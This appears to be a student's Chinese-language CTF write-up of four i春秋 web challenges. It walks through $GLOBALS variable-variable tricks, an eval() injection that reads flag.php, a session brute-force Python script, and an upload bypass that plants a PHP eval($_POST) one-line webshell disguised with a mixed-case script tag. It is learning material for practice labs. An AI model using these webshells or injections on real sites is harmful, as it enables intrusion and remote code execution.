i春秋CTF web題(1)
之前邊看writeup,邊做實驗吧的web題,多多少少有些收獲。但是知識點都已記不清。所以這次借助i春秋這個平臺邊做題,就當記筆記一樣寫寫writeup(其實都大部分還是借鑒其他人的writeup)。
本人小白一枚,於是從低分題(簡單題)邊學邊做
這篇隨筆會寫4道題
0x01:爆破-1
0x02:爆破-2
0x03:爆破-3
0x04:upload
0x01:爆破-1
打開鏈接,發現一段PHP代碼
明確我們的flag在flag.php這個文件裏面以註釋或者不外顯的形式存在。
hello這個變量是我們可控的,並且只能是全是字符,如果有其他則結束。
"$$a",這裏有2個$符號,$a是我們傳過去的變量,再加上個$號則又是個變量,於是這裏就用到$GLOBALS這個全局變量來訪問flag.php裏面的變量
順手貼一下php官方文檔對該變量的定義
於是構造url
http://97104ae4f3174765a9e2f59dc028fc4553582fd8eeb54f81.game.ichunqiu.com/?hello=GLOBALS
回顯:
發現flag(話說題目提示6位,GLOBALS不應該7位嗎?)
0x02:爆破-2
點進去也是一段PHP代碼
var_dump函數是會將變量內容輸出來並加上變量的類型
因為外圍有個eval()函數,說明可以我們變量內容如果是一個語句的話是可以執行的
因此我們要控制hello裏面的值,用它來讀出flag.php文件
構造url:
http://62c123bf4f8a456a870a0b3a3841acde07a12dce89ee48a3.game.ichunqiu.com/?hello=file_get_contents(‘flag.php‘)
回顯:
string(83),是回顯了了個83長度的字符串,但是這裏並不完全,查看源碼:
發現flag
0x03:爆破-3
打開鏈接,又是一段php代碼......
這段代碼意思是創建一個會話內容,並存在120秒,初始值 whoami = ‘ea‘; num = 0
在num = 10的情況打印出我們的flag
那麽num++的條件是參數value的前2個字符和whoami的內容匹配,然後whoami又會隨機生成2個數並輸出
後面一個substr(md5($value), 5, 4) == 0 這個好辦,因為md5()這個函數參數如果為數組就會返回false,也就是滿足 == 0
我們手動打入vlaue[]=ea
這裏要寫到python腳本,(其實120秒內10個也可以一個一個試出來)
import requests url = ‘http://2db8577cbeff436c92a5a69276b7f5aba502655072244904.game.ichunqiu.com/?value[]=‘ s = requests.Session() payload = ‘ea‘; r = s.get(url+payload) print r.text i = 0 for i in range(10): payload = r.text[0:2] r = s.get(url + payload) print r.text
最先寫的時候直接用r = requests.get(url + payload)來發送請求,但是它只有第一次回顯了2個隨機字母之後沒有回顯。
然後我稍加思考,難道是session有什麽特別的回顯方式嗎?
最後是這樣的,在我們一次session會話中,如果中途關閉這個頁面,再打開不管你還沒到120秒,都會重新創建新的會話,然後初始值為ea和num為0
所以在開頭 s = requests.Seesion()裏面一定要保證,這次payload傳輸是在一次會話(不關閉頁面)進行的,通過對s進行get操作,就可以保證每次都是在s這個session中完成的。
最後我們在第10次顯示後發現flag。
0x04:upload
打開鏈接,發現是個上傳頁面
丟個php的一句話木馬上去
回顯成功
訪問我們的木馬:
http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/hack.php
回顯404!!!說明路徑不在該web的根目錄下
那麽上傳目錄在哪?我重新構造url
http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/upload/hack.php
也是返回404,冷靜下。。。。。
回到上傳頁面看看源碼,發現上傳的路徑是
這時候重新構造url
http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/u/hack.php
回顯
估計<?php 是被過濾掉了,百度下php是否能用其他的標簽
於是可以寫成
<script language = "php"> eval($_POST[‘a‘]); </script>
訪問沒有回顯,我們試著發點數據過去
但是沒有回顯,這個地方php也被過濾了,改成大寫即可繞過
重寫我們的木馬
<script language = "phP"> @eval($_POST[‘a‘]); </script>
上傳後,用菜刀一連,找到html目錄下的flag.php
發現flag。
本人的一點小嘮叨:18年初才開始接觸信息安全,學了幾個月膨脹了。然而6月1日的比賽被打自閉了後,和畢業後的學長交流,學長建議學習的時候多做做筆記,寫寫博客之類的。這也是我第一次寫writeup,我想將我遇到的問題和解決辦法詳詳細細的記錄下來。寫這4題的writeup的時候,我是前一天都看著別人writeup做好的,然而在今天寫writeup的時候,還是在第三和第四題之間卡住了。第三題,我其實不會用python,在調用requests中遇到了些麻煩,但是我希望自己writeup盡可能詳細,不要出現模棱兩可的情況,於是終於完全弄懂這個session的問題。第四題我記得是用script language和大寫繞過,但是在自己做的時候language少了一個字母,搞了半天。script language = "phP" 在phP上沒加 " " 又搞了半天,還以為eval函數被過濾掉了,再者不知道為啥hackbar也有點問題。最後終於解決這些小毛病。其實自己看著別人writeup做一遍,和自己寫writeup又是兩種感覺,自己寫writeup的時候發現自己還是有許許多多的細節毛病,這四道題真的都不難,看writeup寫的時候,1個小時不到就做完了,但是自己寫writeup,寫了接近3小時了。通過這些寫writeip真的又學習到了很多。以後我都會記錄自己做的有意義的題的writeup。
i春秋CTF web題(1)